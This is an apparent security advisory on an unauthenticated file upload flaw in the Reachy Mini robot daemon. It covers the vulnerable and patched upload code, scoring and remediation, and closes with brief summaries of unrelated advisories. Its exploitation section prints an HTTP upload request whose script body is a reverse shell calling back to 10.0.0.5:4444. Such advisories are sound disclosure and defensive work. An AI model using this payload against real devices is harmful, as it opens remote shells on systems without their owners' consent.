Aug 26, 2026·5 min read·6 visits
Unauthenticated arbitrary file upload on the Reachy Mini daemon allows attackers to write files to /tmp/reachy_mini_sounds/ over the network.
An unrestricted file upload vulnerability exists in the Pollen Robotics Reachy Mini robot daemon prior to version 1.8.2. Unauthenticated remote attackers can upload arbitrary files to the temporary sounds directory over the network, leading to disk pollution and staging for potential secondary local exploits.
The Reachy Mini daemon exposes an unrestricted file upload vulnerability within its media processing subsystem. Specifically, the REST API route /api/media/sounds/upload allows any network-reachable client to transmit files directly to the host filesystem without authentication, rate-limiting, or size constraints. By default, the underlying daemon binds to all network interfaces (0.0.0.0) and enables permissive Cross-Origin Resource Sharing (CORS) with allow_origins=["*"].
This configuration exposes the endpoint to remote attackers on the local network or WAN, if port-forwarding is configured. The application does not perform any authorization check or file extension validation, allowing arbitrary payloads to be written to disk. Uploaded files are deposited into /tmp/reachy_mini_sounds/ using the client-provided file name.
The lack of input validation and authentication presents a vector for unauthorized file writes. While the target directory is /tmp, this capability compromises the integrity of the filesystem and establishes a staging area for subsequent execution phases. This vulnerability was resolved in version 1.8.2.
The root cause of CVE-2026-55419 lies in the implementation of the upload_sound function in src/reachy_mini/daemon/app/routers/media.py. The endpoint accepts user-supplied files via FastAPI's UploadFile class. The application relies entirely on the client-provided filename property from the Content-Disposition HTTP header to determine the destination filepath on the host.
Because the function does not sanitize file extensions or validate the file structure, it is susceptible to arbitrary file uploads (CWE-434). An attacker can supply filenames with arbitrary extensions, including shell scripts (.sh) or executables. The application directly concatenates this filename with the destination path SOUNDS_TMP_DIR using os.path.join.
Furthermore, the application reads the entire payload into memory asynchronously using await file.read(). This behavior introduces a denial-of-service vector, as a single extremely large file upload can exhaust the host system's memory resources. The file is also written directly to disk in real-time, lacking transactional staging, which leaves partially written payloads in the directory.
The vulnerable implementation of upload_sound displays an absence of validation checks before writing content to disk. The following code snippet illustrates the vulnerable implementation:
# Vulnerable Implementation
@router.post("/api/media/sounds/upload")
async def upload_sound(
file: UploadFile = File(...),
daemon: Daemon = Depends(get_daemon),
) -> dict[str, str]:
filename = file.filename
if not filename or filename in (".", ".."):
raise HTTPException(status_code=400, detail="Invalid filename")
os.makedirs(SOUNDS_TMP_DIR, exist_ok=True)
dest = os.path.join(SOUNDS_TMP_DIR, filename)
content = await file.read()
with open(dest, "wb") as f:
f.write(content)
return {"status": "ok", "path": dest}The patch introduced in version 1.8.2 fixes this behavior by adding restriction mechanisms. The following code demonstrates the updated implementation incorporating file extension validation and safe streaming:
# Patched Implementation in v1.8.2
ALLOWED_SOUND_EXTENSIONS = frozenset(
{".wav", ".mp3", ".ogg", ".oga", ".opus", ".flac", ".m4a", ".aac"}
)
# In upload_sound:
if Path(filename).suffix.lower() not in ALLOWED_SOUND_EXTENSIONS:
raise HTTPException(status_code=400, detail="Unsupported file extension")
os.makedirs(SOUNDS_TMP_DIR, exist_ok=True)
dest = os.path.join(SOUNDS_TMP_DIR, filename)
tmp_fd, tmp_path = tempfile.mkstemp(dir=SOUNDS_TMP_DIR, suffix=".upload")
try:
with os.fdopen(tmp_fd, "wb") as f:
while chunk := await file.read(1 << 20): # Stream 1MiB chunks
f.write(chunk)This remediation ensures that only pre-approved audio extensions are accepted. Additionally, the replacement of the single read() call with chunked writes limits the memory overhead. The file is validated out-of-band and atomically moved using os.replace only upon a successful validation, which prevents residual temporary files from cluttering /tmp.
Exploitation of CVE-2026-55419 requires network access to the Reachy Mini daemon, typically running on port 8000. An unauthenticated attacker can construct a multipart HTTP POST request targeting the /api/media/sounds/upload route. The request contains the payload and a designated filename.
The following HTTP structure illustrates the exploitation vector:
POST /api/media/sounds/upload HTTP/1.1
Host: <target_ip>:8000
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="exploit.sh"
Content-Type: application/x-sh
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
------Boundary--Upon processing, the daemon creates /tmp/reachy_mini_sounds/exploit.sh. Although /tmp does not typically allow direct execution, the presence of this executable script on the filesystem presents a significant risk if combined with secondary local vulnerabilities, such as a local file inclusion, command injection, or path traversal flaw.
The primary impact of CVE-2026-55419 is unauthorized file write access to the host filesystem. This permits attackers to stage arbitrary payloads, causing disk space exhaustion, directory pollution, or file corruption. This represents a significant exposure for robotic control systems where stability and deterministic operation are critical.
The CVSS v3.1 base score is 5.3 (Medium), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N. Because the daemon binds to 0.0.0.0 by default, any network-connected entity can trigger the vulnerability without prior authentication.
While this exploit does not provide immediate code execution by itself, dropping scripts or configurations inside /tmp constitutes a standard post-exploitation foothold. When chained with separate vulnerabilities, the impact can escalate to full remote execution under the daemon user's context.
Remediation of CVE-2026-55419 requires upgrading the reachy_mini daemon to version 1.8.2 or later. This version restricts accepted file extensions, limits upload sizes via ASGI middleware, and integrates GStreamer structural checks to verify that uploaded content matches real audio files.
If upgrading immediately is not feasible, administrators should restrict network access to the daemon. Reconfigure the daemon to bind to localhost (127.0.0.1) rather than the default wildcard address (0.0.0.0), unless external network access is explicitly required.
Alternatively, firewall rules (such as iptables or ufw) should be implemented to restrict access to port 8000 to authorized IP addresses. Network-level monitoring should inspect incoming HTTP traffic on port 8000 for unexpected multipart POST requests directed to /api/media/sounds/upload.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
reachy_mini Pollen Robotics | < 1.8.2 | 1.8.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-434 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 5.3 (Medium) |
| Exploit Status | PoC available |
| Remediation | Upgrade to v1.8.2 |
The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.
An incomplete input sanitization fix in AsyncSSH version 2.23.0 allows unauthenticated remote attackers to bypass directory restriction controls and perform path-traversal attacks. When the system is configured to perform username token substitution inside its AuthorizedKeysFile directive, attackers can manipulate downstream path resolution mechanisms via tilde expansion and environment variable references. This flaw permits authentication bypasses by forcing the server to read public keys from unauthorized file locations outside the restricted environment.
CVE-2026-54591 is a high-severity path traversal vulnerability in AsyncSSH's SCP implementation prior to version 2.23.1. When an AsyncSSH-based SCP client connects to a malicious or compromised SSH server and performs a file transfer, the server can send crafted filenames containing relative path sequences. Because the client failed to validate these filenames before resolving the final storage path, a malicious server could write or overwrite arbitrary files on the client machine within the security context of the executing application. This vulnerability is mapped to GitHub Security Advisory GHSA-2wxc-x7rj-hg8f.
CVE-2026-55637 is a high-severity DNS rebinding vulnerability affecting the genieacs-mcp Model Context Protocol server. Prior to version 0.3.2, the application's Streamable HTTP transport lacks adequate Host and Origin header validation. This omission allows external attackers to bypass the Same-Origin Policy through a victim's browser and issue unauthenticated commands to loopback listeners.
A critical vulnerability exists in the elixir-grpc library's Erlpack codec, where the unsafe deserialization of Erlang External Term Format (ETF) payloads allows unauthenticated remote attackers to cause a Denial of Service through atom table exhaustion or execute arbitrary code on the host server.
An authorization bypass vulnerability exists in the elixir-grpc/grpc library version 0.8.0 up to 1.0.0. Due to insecure map merging precedence inside the HTTP-to-gRPC transcoding engine, query-string parameters and request bodies can override routing path variables, allowing attackers to execute unauthorized actions on other accounts.
An allocation of resources without limits or throttling vulnerability exists in the Elixir grpc server component when processing unary requests. Unauthenticated remote attackers can stream unbounded data payloads, bypassing standard timeout mechanisms and exhausting host BEAM VM memory, resulting in an immediate crash of the server node.